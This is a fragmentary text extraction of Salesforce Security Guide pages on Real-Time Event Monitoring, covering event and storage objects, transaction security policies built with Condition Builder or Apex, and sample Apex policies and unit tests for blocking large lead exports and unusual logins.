Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.
Enable Access to the Real-Time Event Monitoring
You can set user access to Real-Time Event Monitoring through profiles and permission sets.
Stream and Store Event Data
Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.
Create Logout Event Triggers
If the LogoutEventStream object is available to your org, you can create Apex triggers that respond to security logout events from
your org’s UI.
How Chunking Works with ReportEvent and ListViewEvent
Chunking occurs when a report or list view execution returns many records and Salesforce splits the returned data into chunks.
Enhanced Transaction Security
Enhanced Transaction Security is a framework that intercepts real-time events and applies appropriate actions to monitor and control
user activity. Each transaction security policy has conditions that evaluate events and the real-time actions that are triggered after
those conditions are met. The actions are Block, Multi-Factor Authentication, and Notifications. Before you build your policies,
understand the available event types, policy conditions, and common use cases. Enhanced Transaction Security is included in
Real-Time Event Monitoring.
249
Salesforce Security Guide Real-Time Event Monitoring Definitions
Threat Detection
Threat Detection uses statistical and machine learning methods to detect threats to your Salesforce org.
SEE ALSO:
Salesforce Help: What’s the Difference Between the Salesforce Events?
Learning Map: Shield Learning Map
250
Salesforce Security Guide Considerations for Using Real-Time Event Monitoring
• The multi-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for any events.
Instead, the block action is used. For example, if a multi-factor authentication policy is triggered on a list view performed via the API,
Salesforce blocks the API call.
• A value of 0 for the RowsProcessed field in an object (such as ApiEvent) indicates that a query was performed and nothing was
returned. This scenario is possible if a user doesn’t have the correct permissions for a data row or the query doesn’t return results. In
this case, the QueriedEntities field is empty.
• Let’s say you create both an Apex and a Condition Builder policy on the same event. You also specify the same action (Block or
multi-factor authentication) for both policies. In this case, the Apex policy executes before the Condition Builder policy. The PolicyId
field of the event reflects the last policy that was executed and triggered.
• You can’t use the same Apex class on policies with the same event. When you create an Apex policy using Condition Builder, the
list of available Apex classes can differ based on the policies you already created.
• Let’s say you enable a transaction security policy for an event in which the action is None. As a result, when an event satisfies the
policy conditions, the policy isn’t triggered. However, these event fields are still populated:
– EvaluationTime—The time it took for the policy to be evaluated.
– PolicyOutcome—Set to NoAction.
– PolicyId—Set to null.
251
Salesforce Security Guide Enable Access to the Real-Time Event Monitoring
252
Salesforce Security Guide Stream and Store Event Data
Note: Real-Time Event Monitoring objects sometimes contain sensitive data. Assign object permissions to Real-Time Events
accordingly in profiles or permission sets.
1. From Setup, in the Quick Find box, enter Events, then select Event Manager.
2. Next to the event you want to enable or disable streaming for, click the dropdown menu.
3. Select whether you want to enable or disable streaming or storing on the event.
253
Salesforce Security Guide Stream and Store Event Data
CredentialStuffingEvent Track when a user successfully logs into Salesforce during Object is available only in Real-Time Event
an identified credential stuffing attack. Credential stuffing Monitoring.
refers to large-scale automated login requests using
stolen user credentials.
LightningUriEventStream Detect when a user creates, accesses, updates, or deletes Object is available only in Real-Time Event
a record containing sensitive data in Lightning Monitoring.
Experience.
ListViewEventStream Detect when a user accesses, updates, or exports list view Object is available only in Real-Time Event
data using Salesforce Classic, Lightning Experience, or Monitoring.
the API.
LoginAsEventStream Detect when a Salesforce admin logs in as another user Object is available only in Real-Time Event
and track the admin’s activities. Monitoring.
LoginEventStream Detect when a user tries to log in under certain Object is available only in Real-Time Event
conditions—for example, from an unsupported browser Monitoring.
or from an IP address that is outside of your corporate
range.
LogoutEventStream Detect when a user logs out of Salesforce by clicking Log Object is available to all customers.
Out in the Salesforce UI.
MobileEmailEvent Track your users’ email activity in a Salesforce mobile Object is available only in Real-Time Event
app. Monitoring and Enhanced Mobile App
Security.
MobileEnforcedPolicyEvent Track enforcement of Enhanced Mobile Security policy Object is available only in Real-Time Event
events on a Salesforce mobile app. Monitoring and Enhanced Mobile App
Security.
MobileScreenshotEvent Track your users’ screenshots in a Salesforce mobile app. Object is available only in Real-Time Event
Monitoring and Enhanced Mobile App
Security.
MobileTelephonyEvent Track your users’ phone calls and text messages in a Object is available only in Real-Time Event
Salesforce mobile app. Monitoring and Enhanced Mobile App
Security.
ReportAnomalyEvent Track anomalies in how users run or export reports. Object is available only in Real-Time Event
Monitoring.
ReportEventStream Detect when a user creates, runs, updates, or exports a Object is available only in Real-Time Event
report that contains sensitive data. Monitoring.
SessionHijackingEvent Track when unauthorized users gain ownership of a Object is available only in Real-Time Event
Salesforce user’s session with a stolen session identifier. Monitoring.
254
Salesforce Security Guide Stream and Store Event Data
For more information about building apps that listen to streaming data channels, see the Streaming API Developer Guide.
For a quick start about subscribing to streaming events using the EMP Connector open-source tool, see the Example: Subscribe to and
Replay Events Using a Java Client (EMP Connector) in the Platform Events Developer Guide.
For reference documentation of the standard platform events and the corresponding big objects, see Real-Time Event Monitoring Objects
in the Platform Events Developer Guide.
Note: As a beta feature, the UserId filter in ReportEvent is a preview and isn’t part of the “Services” under your master subscription
agreement with Salesforce. Use this feature at your sole discretion, and make your purchase decisions only on the basis of generally
available products and features. Salesforce doesn’t guarantee general availability of this feature within any particular time frame
or at all, and we can discontinue it at any time. This feature is for evaluation purposes only, not for production use. It’s offered as
is and isn’t supported, and Salesforce has no liability for any harm or damage arising out of or in connection with it. All restrictions,
Salesforce reservation of rights, obligations concerning the Services, and terms for related Non-Salesforce Applications and Content
apply equally to your use of this feature.
Async SOQL
255
Salesforce Security Guide Stream and Store Event Data
Async SOQL is a way to run SOQL queries when you must filter on big object fields besides EventDate and EventId. Async SOQL
schedules and runs queries asynchronously in the background, so it can run queries that normally time out with regular SOQL.
With Async SOQL, you can run multiple queries in the background while monitoring their completion status. Set up your queries and
come back a few hours later to a dataset to work with. Async SOQL is the most efficient way to process the large amount of data in a
storage event, especially one that’s a big object. For more information, see Use Async SOQL with Real-Time Event Monitoring and Async
SOQL in the Big Objects Implementation Guide.
Storage Events
Here are the Real-Time Event Monitoring storage events.
ApiAnomalyEventStore Standard Store data about anomalies in how users Object is available only in Real-Time Event
Object make API calls. Monitoring. Data is stored for up to six
months.
BulkApiResultEventStore Big Object Store large amount of data about Bulk API Object is available only in Real-Time Event
activity that occurred for particular objects Monitoring. Data is stored for up to six
during a fiscal year. months.
CredentialStuffingEventStore Standard Store data about successful user logins Object is available only in Real-Time Event
Object during an identified credential stuffing Monitoring. Data is stored for up to six
attack. Credential stuffing refers to months.
large-scale automated login requests using
stolen user credentials.
IdentityVerificationEvent Big Object Store data about user identity verification Object is available only in Real-Time Event
events in your org. Monitoring. Data is stored for up to 10
years.
IdentityProviderEventStore Big Object Store data about problematic and successful Object is available only in Real-Time Event
authentication requests in the Identity Monitoring. Data is stored for up to six
Provider Event Log. months.
LightningUriEvent Big Object Store data about when entities are created, Object is available only in Real-Time Event
accessed, updated, or deleted in Lightning Monitoring. Data is stored for up to six
Experience. months.
ListViewEvent Big Object Store data about when users interact with Object is available only in Real-Time Event
a list of records, such as contacts, accounts, Monitoring. Data is stored for up to six
or custom objects. months.
LoginAsEvent Big Object Store data about when Salesforce admins Object is available only in Real-Time Event
log in as another user. Monitoring. Data is stored for up to six
months.
256
Salesforce Security Guide Stream and Store Event Data
LogoutEvent Big Object Store data about users who logged out Object is available only in Real-Time Event
successfully. Monitoring. Data is stored for up to six
months.
ReportAnomalyEventStore Standard Store data about anomalies in how users Object is available only in Real-Time Event
Object run or export reports. Monitoring. Data is stored for up to six
months.
ReportEvent Big Object Store data about how many times a Object is available only in Real-Time Event
sensitive report was downloaded or viewed Monitoring. Data is stored for up to six
and by whom. months.
SessionHijackingEventStore Standard Store data about when unauthorized users Object is available only in Real-Time Event
Object gain ownership of a Salesforce user’s session Monitoring. Data is stored for up to six
with a stolen session identifier. months.
UriEvent Big Object Store data about when entities are created, Object is available only in Real-Time Event
accessed, updated, or deleted in Salesforce Monitoring. Data is stored for up to six
Classic. months.
Note: In Developer Edition orgs, data for all events is stored for only 1 day.
https://yourInstance.salesforce.com/services/data/v48.0/async-queries/
257
Salesforce Security Guide Stream and Store Event Data
"SourceIp": "IPAddress__c",
"Username": "User__c",
"UserAgent": "UserAgent__c"
}
}
Note: All number fields returned from a SOQL query of archived objects are in standard notation, not scientific notation, as in the
number fields in the entity history of standard objects.
If you ask this question on a repeated basis for audit purposes, you can automate the query using a cURL script.
curl -H "Content-Type: application/json" -X POST -d
'{"query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username, UserAgent
FROM ApiEvent WHERE QueriedEntities LIKE '%Patent__c%'",
"targetObject": "ApiTarget__c",
"targetFieldMap": {"EventDate": "EventDate__c","EventIdentifier":
"EventIdentifier__c","QueriedEntities": "QueriedEntities__c","SourceIp":
"IPAddress__c","Username": "User__c","UserAgent": "UserAgent__c"}}'
"https://yourInstance.salesforce.com/services/data/v48.0/async-queries/" -H
"Authorization: Bearer 00D30000000V88A!ARYAQCZOCeABy29c3dNxRVtv433znH15gLWhLOUv7DVu.
uAGFhW9WMtGXCul6q.4xVQymfh4Cjxw4APbazT8bnIfxlRvUjDg"
Another event monitoring use case is to identify all users who accessed a sensitive field, such as Social Security Number or Email. For
example, you can use the following Async SOQL query to determine the users who saw social security numbers.
Example URI
https://yourInstance.salesforce.com/services/data/v48.0/async-queries/
258
Salesforce Security Guide Create Logout Event Triggers
SEE ALSO:
Big Objects Implementation Guide: Async SOQL
Example: In this example, the subscriber inserts a custom logout event record during logout.
259
Salesforce Security Guide How Chunking Works with ReportEvent and ListViewEvent
record.Username__c = event.Username;
record.EventDate__c = event.EventDate;
record.RelatedEventIdentifier__c = event.RelatedEventIdentifier;
record.SessionKey__c = event.SessionKey;
record.LoginKey__c = event.LoginKey;
insert(record);
}
Tip: This topic applies to ReportEvent, ReportEventStream, ListViewEvent, and Available in: Salesforce
ListViewEventStream. However, for readability, we refer to just ReportEvent and ListViewEvent. Classic and Lightning
Experience
When Salesforce chunks a ReportEvent or ListViewEvent (and their streaming equivalents), it breaks
it into multiple events in which most field values are repeated. The exceptions are the Records, Available in: Enterprise,
Sequence, and EventIdentifier fields. You view all the data from a chunked result by Unlimited, and Developer
correlating these fields with the ExecutionIdentifier field, which is unique across the Editions
chunks. Requires Salesforce Shield
or Salesforce Event
Important: When a report executes, we provide the first 1000 events with data in the Records Monitoring add-on
field. Use the ReportId field to view the full report. subscriptions.
Let’s describe in more detail the fields of ReportEvent and ListViewEvent (and their storage
equivalents) that you use to link together the chunks.
• Records—A JSON string that represents the report or list view data. If Salesforce has chunked the data into multiple events, each
event’s Records field contains different data.
• Sequence—An incremental sequence number that indicates the order of multiple events that result from chunking, starting with
1. For example, if Salesforce breaks up an event into five chunks, the first chunk’s Sequence field is 1, the second is 2, and so on up
to 5.
• ExecutionIdentifier—A unique identifier for a particular report or list view execution. This identifier differentiates the
report or list execution from other executions. If chunking has occurred, this field value is identical across the chunks, and you can
use it to link the chunks together to provide a complete data picture.
• EventIdentifier—A unique identifier for each event, including chunked events.
To view all the data chunks from a single report or list view execution, use the Sequence, Records, and ExecutionIdentifier
fields in combination.
For example, let’s say a report execution returns 10K rows. Salesforce splits this data into three chunks based on the size of the records,
and then creates three separate ReportEvent events. This table shows an example of the field values in the three events; the fields not
shown in the table (except EventIdentifier) have identical values across the three events.
260
Salesforce Security Guide How Chunking Works with ReportEvent and ListViewEvent
a50a4025-84f2-425d-8af9-2c780869f3b5 3 {"totalSize":4000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}
This sample SOQL query returns data similar to the preceding table.
SELECT ExecutionIdentifer, Sequence, Records FROM ReportEvent
These events result from a triggered policy that has a multi-factor authentication (MFA) action. The first three rows show the multi-factor
authentication in process, and the last three rows show the chunked events.
Note: Multi-factor authentication was previously called two-factor authentication. Some MFA-related values reference “TwoFa”.
TwoFaInProgress
TwoFaSucceed
261
Salesforce Security Guide Enhanced Transaction Security
These events result from a policy that has a block action but the event didn't meet the condition criteria. As a result, the PolicyOutcome
field is NoAction.
These events result from a policy that has a multi-factor authentication action but the policy wasn’t triggered and so the action didn’t
occur. The policy didn’t trigger because the user already had a high assurance session level.
Condition Builder is a Setup feature that allows you to build policies with clicks, not code. Policies Requires Salesforce Shield
monitor events, which are categories of user activity built on objects in the SOAP, REST, and Bulk or Salesforce Event
APIs. When you build your policy using Condition Builder, you choose which fields on these objects Monitoring add-on
you want to monitor for customer activity. Because your policy’s actions are conditional to the fields subscriptions.
that users interact with, these fields are called conditions. When you create a policy, you choose the
conditions you want your policy to monitor and the action the policy takes when the conditions
are met. The conditions available in Condition Builder are a subset of all the event objects fields and vary based on the objects.
262
Salesforce Security Guide Enhanced Transaction Security
If you create an Apex-based policy, you can use any of the event object’s fields. For example, Records isn’t available as a Condition Builder
condition for the ReportEvent event object. But you can use the ReportEvent.Records field in an Apex class that implements
the TxnSecurity.EventCondition interface. Visit the API Object Reference to view event object fields.
Conditions at a Glance
LoginEvent API Type, API Version, Application, Browser, Block, Notifications, Multi-Factor
Country, Login URL, Platform, Session Level, Authentication (for UI logins)
Source IP, TLS Protocol, User ID, User Type,
Username
263
Salesforce Security Guide Enhanced Transaction Security
IN THIS SECTION:
Types of Enhanced Transaction Security Policies
You can create transaction security policies on these Real-Time Event Monitoring events.
Enhanced Transaction Security Actions and Notifications
When a real-time event triggers a transaction security policy, you can block a user or enforce multi-factor authentication (MFA). You
can also optionally receive in-app or email notifications of the event.
Build a Transaction Security Policy with Condition Builder
Create a transaction security policy without writing a line of code. Condition Builder, available in Real-Time Event Monitoring, gives
you a declarative way to create customized security policies to protect your data.
Create an Enhanced Transaction Security Policy That Uses Apex
Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an existing Apex class or create an
empty class that you then code. The Apex class must implement the TxnSecurity.EventCondition interface.
Best Practices for Writing and Maintaining Enhanced Transaction Security Policies
Transaction security policy management isn’t always easy, especially when you have many policies. To make sure that your policies
remain functional, write and maintain them using these best practices. Well-structured and tested policies keep your employees
and customers connected, productive, and secure.
Enhanced Transaction Security Metering
Transaction Security uses resource metering to help prevent malicious or unintentional monopolization of shared, multi-tenant
platform resources. Metering prevents transaction security policy evaluations from using too many resources and adversely affecting
your Salesforce org.
Test and Troubleshoot Your New Enhanced Policy
If your enhanced transaction security policy is not behaving as you expect, check out these testing and troubleshooting tips for
diagnosing the problem.
Migrate Legacy Policies to the Enhanced Transaction Security Framework
The enhanced transaction security framework makes it easy to create policies that are more useful than policies created with of the
legacy framework. You can migrate your legacy policies to the new framework. As of Summer ’20, Legacy Transaction Security is a
retired feature in all Salesforce orgs. You can no longer create, edit, or enable transaction security policies using the legacy framework
and will receive an error message if you try to do so.
264
Salesforce Security Guide Enhanced Transaction Security
ApiEvent Policies
API events monitor API transactions, such as SOQL queries and data exports.
EDITIONS
265
Salesforce Security Guide Enhanced Transaction Security
ApiAnomalyEventStore Policies
API anomaly event policies monitor anomalies in how users make API calls.
EDITIONS
BulkApiResultEventStore Policies
Bulk API Result Event policies detect when a user downloads the results of a Bulk API request.
266
Salesforce Security Guide Enhanced Transaction Security
Policy at a Glance
CredentialStuffingEventStore Policies
Credential stuffing event policies monitor when a user successfully logs into Salesforce during an
EDITIONS
identified credential stuffing attack. Credential stuffing refers to large-scale automated login requests
using stolen user credentials. Available in: Salesforce
Classic and Lightning
Policy at a Glance Experience
267
Salesforce Security Guide Enhanced Transaction Security
ListViewEvent Policies
List View event policies monitor when data is viewed or downloaded from your list views using
EDITIONS
Salesforce Classic, Lightning Experience, or the API.
Available in: Salesforce
Policy at a Glance Classic and Lightning
Experience
Object Conditions Available in Actions Available in: Enterprise,
Condition Builder Unlimited, and Developer
ListViewEvent Application Name, Developer Block, Notifications, Editions
Name, Event Source, List View Multi-Factor Authentication (for Requires Salesforce Shield
ID, Name, Name of Columns, UI logins) or Salesforce Event
Number of Columns, Order By, Monitoring add-on
Multi-factor authentication is
Owner ID, Queried Entities, subscriptions.
not supported for list views in
Rows Processed, Scope, Session Lightning pages, so the action
Level, Source IP, User ID, is upgraded to Block.
Username
Note: The values captured by transaction security policies are unique API names that can be retrieved by performing REST API
Describe calls on the object. When creating a ListViewEvent policy, make sure that the values you want the conditions to check
for are unique API names and not display labels. For example, a “Name of Column” condition checks for values that match the
metadata information retrieved from a Describe call on the report, not the column headers displayed on the report. Refer to the
REST API Developer Guide for more information.
LoginEvent Policies
Login event policies track login activity and enforce your org’s login requirements.
EDITIONS
268
Salesforce Security Guide Enhanced Transaction Security
Permissions View Login Forensics Events View Event Log Files Manage Users
Availability Included with Event Monitoring Included with Event Monitoring Included with all orgs
add-on or Real-Time Event add-on
Monitoring
269
Salesforce Security Guide Enhanced Transaction Security
ReportEvent Policies
Report event policies monitor when data is viewed or downloaded from your reports.
EDITIONS
Note: The values captured by transaction security policies are unique API names, which can be retrieved by performing REST API
Describe calls on the object. When creating a ReportEvent policy, make sure that the values you want the conditions to check for
are unique API names, not display labels. For example, a “Name of Column” condition checks for values that match the metadata
information retrieved from a Describe call on the report, not the column headers displayed on the report. Refer to the Salesforce
Report and Dashboard REST API Developer Guide for more information.
270
Salesforce Security Guide Enhanced Transaction Security
ReportAnomalyEventStore Policies
Report anomaly event policies monitor anomalies in how users run or export reports.
EDITIONS
SessionHijackingEventStore Policies
Session hijacking event policies monitor when unauthorized users gain ownership of a Salesforce
EDITIONS
user’s session with a stolen session identifier.
Available in: Salesforce
Policy at a Glance Classic and Lightning
Experience
Object Conditions Available in Actions Available in: Enterprise,
Condition Builder Unlimited, and Developer
SessionHijackingEventStore CurrentUserAgent, CurrentIp, Notifications Editions
CurrentPlatform, Requires Salesforce Shield
CurrentScreen, CurrentWindow, or Salesforce Event
PreviousUserAgent, PreviousIp, Monitoring add-on
PreviousPlatform, subscriptions.
PreviousScreen,
PreviousWindow, Score,
SourceIp, UserId, Username
271
Salesforce Security Guide Enhanced Transaction Security
Multi-Factor Authentication
Prompt the user to confirm their identity with an additional verification method, such as the Salesforce Authenticator app, when the
log in. In situations where you can’t use multi-factor authentication (for instance, during an API query), this action changes to a block
action.
272
Salesforce Security Guide Enhanced Transaction Security
Email Notifications
Salesforce sends email notifications with subject “Transaction Security Alert”. The body of the message contains the policy that was
triggered and the event or events that triggered it. The times listed indicate when the policy was triggered in the recipient’s locale and
time zone. For example, a policy is triggered at 6:46 PM Eastern Standard Time. The administrator who receives the notification is in the
Pacific Standard Time zone, so the times show as PST. Here’s an example.
Example:
From: Transaction Security <[email protected]>
To: [email protected]
Sent: Wednesday, March 4, 2020, 10:00 AM
Subject: Transaction Security Alert
Policy:
Restrict Views of the My Confidential Report.
In-App Notifications
In-app notifications list the policy that was triggered. Notifications are not available in Classic. Here’s an example.
Example:
Transaction Security Alert:
Policy Restrict Views of the My Confidential Report was triggered.
16 minutes ago
273
Salesforce Security Guide Enhanced Transaction Security
USER PERMISSIONS
5. Select your condition logic. The logic applies to the conditions that you create in the next step.
You can specify whether all conditions must be met for the policy to trigger an action, or any condition.
Select Custom Condition Logic Is Met if you want to specify more complex logic. Use parentheses and logical operators (AND,
OR, and NOT) to build the logical statements. Use numbers to represent the conditions, such as 1 for the first condition, 2 for the
second condition, and so on. For example, if you want the policy to trigger if the first condition and either the second or third
conditions are met, enter 1 AND (2 OR 3).
274
Salesforce Security Guide Enhanced Transaction Security
Tip: Conditions map to fields of the event storage objects, such as ApiEvent.RowsProcessesd or
LoginEvent.SourceIP. See the API documentation for possible values and examples for each field that shows up
as a condition in Condition Builder.
This example shows a policy that monitors API calls. The actions trigger if an API call queries the Lead object and either the number
of rows processed is greater than 2000 or the request took longer than 1000 milliseconds to complete. See Condition Builder Examples
for more examples.
7. Click Next.
8. Select what the policy does when triggered.
The actions available vary depending on the event type. For more information, see What Are Transaction Security Actions?
Note: The multi-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for
any events. Instead, the block action is used. For example, if a multi-factor authentication policy is triggered on a list view
performed via the API, Salesforce blocks the API user.
IN THIS SECTION:
Condition Builder Examples
Use these examples to help you convert your own real-world use cases into Condition Builder conditions.
275
Salesforce Security Guide Enhanced Transaction Security
• Notes: Use the Contains operator, rather than Equals, to also include reports that are based
on multiple objects, one of which is Lead.
Description of Example: Track when a user views or exports a report that has a column that contains email addresses.
• Event: Report Event
• Condition Logic: All Conditions Are Met
• Conditions: Name of Columns Contains Email
• Notes: Use the Contains operator to include any of these column names: Email, Customer Email, or Email of
Customer.
276
Salesforce Security Guide Enhanced Transaction Security
• Notes: Use the Contains operator, rather than Equals, to also include queries on multiple objects, of which one is Lead.
277
Salesforce Security Guide Enhanced Transaction Security
• Notes: Use the same condition in separate transaction security policies to track when a user without high assurance executes a
report (Report Event) or an API query (API Event).
• Notes:
278
Salesforce Security Guide Enhanced Transaction Security
5. Select the Apex class that implements your policy. If you haven’t already created the class, select User Permissions Needed
New Empty Apex Class. To view and manage
6. Click Next. events:
• View Real-Time Event
7. Select the action that the policy performs when triggered. Monitoring Data
The available actions vary depending on the event type. For more information, see What Are To create, edit, and manage
Transaction Security Actions?. transaction security policies:
• Customize Application
Note: The two-factor authentication action isn’t available in the Salesforce mobile app,
Lightning Experience, or via API for events. Instead, the block action is used. For example,
if a two-factor authentication policy is triggered on a list view performed via the API,
Salesforce blocks the API user.
279
Salesforce Security Guide Enhanced Transaction Security
12. Click the name of your Apex class if you want to edit it.
If you chose to create an Apex class, you must add the implementation code. Salesforce adds this basic code to get you started.
global class MyApexClassEventCondition implements TxnSecurity.EventCondition {
When you delete a transaction security policy that uses Apex, the implementation class isn't deleted. You can either delete this Apex
class separately or reuse it in another policy.
Don’t include DML statements in your Apex-based policies because they can cause errors. When you send a custom email via Apex
during transaction policy evaluation, you get an error, even if the record is not explicitly related to another record. For more information,
see Apex DML Operations in the Apex Developer Guide.
IN THIS SECTION:
Enhanced Apex Transaction Security Implementation Examples
Here are examples of implementing enhanced Apex transaction security.
Asynchronous Apex Example
When executing a transaction security policy, use an asynchronous Apex process to offload time-consuming operations, such as
sending a notification email to an external recipient.
Enhanced Transaction Security Apex Testing
Writing robust tests is an engineering best practice to ensure that your code does what you expect and to find errors before your
users and customers do. It’s even more important to write tests for your transaction security policy’s Apex code because it executes
during critical user actions in your Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can
result in locking your users out of your org, a situation best avoided.
SEE ALSO:
Apex Developer Guide: TxnSecurity.EventCondition Interface
280
Salesforce Security Guide Enhanced Transaction Security
281
Salesforce Security Guide Enhanced Transaction Security
return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}
Data Export
This example implements a transaction security policy that triggers when more than 2,000 leads are either:
• Viewed in the UI
• Exported with a SOQL query
• Exported from a list view
• Exported from a report
global class LeadViewAndExportCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);
}
when null {
return false;
}
when else{
return false;
}
}
}
282
Salesforce Security Guide Enhanced Transaction Security
}
return false;
}
}
Browser Check
This policy triggers when a user with a known operating system and browser combination tries to log in with another browser on a
different operating system.
Many organizations have standard hardware and support specific versions of different browsers. You can use this standard to reduce
the security risk for high-impact individuals by acting when logins take place from unusual devices. For example, your CEO typically logs
in to Salesforce from San Francisco using a MacBook or Salesforce mobile application on an iPhone. When a login occurs from elsewhere
using a Chromebook, it’s highly suspicious. Because hackers do not necessarily know which platforms corporate executives use, this
policy makes a security breach less likely.
283
Salesforce Security Guide Enhanced Transaction Security
In this example, the customer organization knows that its CEO uses a MacBook running OS X with the Safari browser. An attempt to log
in using the CEO’s credentials with anything else is automatically blocked.
global class AccessEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
switch on event{
when LoginEvent loginEvent {
return evaluate(loginEvent);
}
when null {
return false;
}
when else{
return false;
}
}
}
284
Salesforce Security Guide Enhanced Transaction Security
// Trigger policy and block access for any user trying to log in from North Korea.
if(country.equals('North Korea')) {
return true;
}
return false;
}
}
You can also restrict access to other values, like postal code or city.
SEE ALSO:
Apex Developer Guide: TxnSecurity.EventCondition Interface
285
Salesforce Security Guide Enhanced Transaction Security
Note: Only DML operations and callouts are supported when you use asynchronous Apex Requires Salesforce Shield
or Salesforce Event
with an enhanced transaction security policy.
Monitoring add-on
subscriptions.
Create Asynchronous Apex Class
In this section, you create an asynchronous Apex class that takes in an SObject. In this example, we
use ApiEvent. Then you invoke a callout or a DML operation.
public class SimpleAsynchronousApex implements Queueable {
private ApiEvent apiEvent;
Create Policy
In this section, you create the transaction security policy, which modifies the Apex class associated with the policy. Then you create the
SimpleAsynchronousApex object, pass in the ApiEvent, and enqueue the job.
global class SimpleApiEventCondition implements TxnSecurity.EventCondition,
TxnSecurity.AsyncCondition {
public boolean evaluate(SObject event) {
// Cast SObject to an ApiEvent object
ApiEvent apiEvent = (ApiEvent) event;
SimpleAsynchronousApex simpleAsynchronousApex = new SimpleAsynchronousApex(apiEvent);
System.enqueueJob(simpleAsynchronousApex);
return false;
// In a typical implementation may return true if it triggers an action
286
Salesforce Security Guide Enhanced Transaction Security
}
}
SEE ALSO:
Apex Developer Guide: Queueable Apex
Apex Developer Guide: Apex Implementation Examples
Apex Developer Guide: Asynchronous Apex
Apex Developer Guide: Invoking Callouts Using Apex
Let’s look at some sample unit tests to get you started. Here’s the Apex policy that we want to test.
}
when null {
return false;
}
when else {
return false;
}
}
}
287
Salesforce Security Guide Enhanced Transaction Security
return true;
}
return false;
}
}
Any event object The event doesn’t have Lead in its false
QueriedEntities field and has a
number greater than 2000 in its
RowsProcessed field
Any event object The event doesn’t have Lead in its false
QueriedEntities field and has a
number less than or equal to 2000 in its
RowsProcessed field
288
Salesforce Security Guide Enhanced Transaction Security
If the evaluate method receives... And ... Then the evaluate method
returns...
An ApiEvent object The QueriedEntities field is null false
Here’s the Apex testing code that implements all of these use cases.
/**
* Tests for the LeadExportEventCondition class, to make sure that our Transaction Security
Apex
* logic handles events and event field values as expected.
**/
@isTest
public class LeadExportEventConditionTest {
/**
* ------------ POSITIVE TEST CASES ------------
** /
/**
* Positive test case 1: If an ApiEvent has Lead as a queried entity and more than
2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testApiEventPositiveTestCase() {
// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;
/**
* Positive test case 2: If a ReportEvent has Lead as a queried entity and more than
2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testReportEventPositiveTestCase() {
// set up our event and its field values
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;
289
Salesforce Security Guide Enhanced Transaction Security
/**
* Positive test case 3: If a ListViewEvent has Lead as a queried entity and more
than 2000 rows
* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testListViewEventPositiveTestCase() {
// set up our event and its field values
ListViewEvent testEvent = new ListViewEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;
/**
* Positive test case 4: If an event does not have Lead as a queried entity and has
more
* than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testOtherQueriedEntityPositiveTestCase() {
// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account';
testEvent.RowsProcessed = 2001;
/**
* Positive test case 5: If an event has Lead as a queried entity and does not have
* more than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testFewerRowsProcessedPositiveTestCase() {
// set up our event and its field values
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2000;
/**
* Positive test case 6: If an event does not have Lead as a queried entity and does
not have
* more than 2000 rows processed, then the evaluate method of our policy's Apex
290
Salesforce Security Guide Enhanced Transaction Security
/**
* ------------ NEGATIVE TEST CASES ------------
**/
/**
* Negative test case 1: If an event is a type other than ApiEvent, ReportEvent, or
ListViewEvent,
* then the evaluate method of our policy's Apex should return false.
**/
static testMethod void testOtherEventObject() {
LoginEvent loginEvent = new LoginEvent();
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(loginEvent));
}
/**
* Negative test case 2: If an event is null, then the evaluate method of our policy's
/**
* Negative test case 3: If an event has a null QueriedEntities value, then the
evaluate method
* of our policy's Apex should return false.
**/
static testMethod void testNullQueriedEntities() {
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = null;
testEvent.RowsProcessed = 2001;
/**
* Negative test case 4: If an event has a null RowsProcessed value, then the evaluate
291
Salesforce Security Guide Enhanced Transaction Security
method
* of our policy's Apex should return false.
**/
static testMethod void testNullRowsProcessed() {
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = null;
We’ve changed the code so that before performing the .contains operation on the queriedEntities variable, we first check
if the value is null. This change ensures that the code doesn’t dereference a null object.
In general, when you encounter unexpected values or situations in your Apex code, you have two options:
• Ignore the values or situation and return false so that the policy doesn't trigger.
• Fail-close the operation by returning true.
Determine what is best for your users when deciding which option to choose.
Advanced Example
Here's a more complex Apex policy that uses SOQL queries to get the profile of the user who is attempting to log in.
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {
292
Salesforce Security Guide Enhanced Transaction Security
// check if the name of the Profile is one of the ones we want to monitor
if (PROFILES_TO_MONITOR.contains(profile.Name)) {
return true;
}
return false;
}
}
Because every Salesforce user is always assigned a profile, there's no need to create a negative test for it. It’s also not possible to create
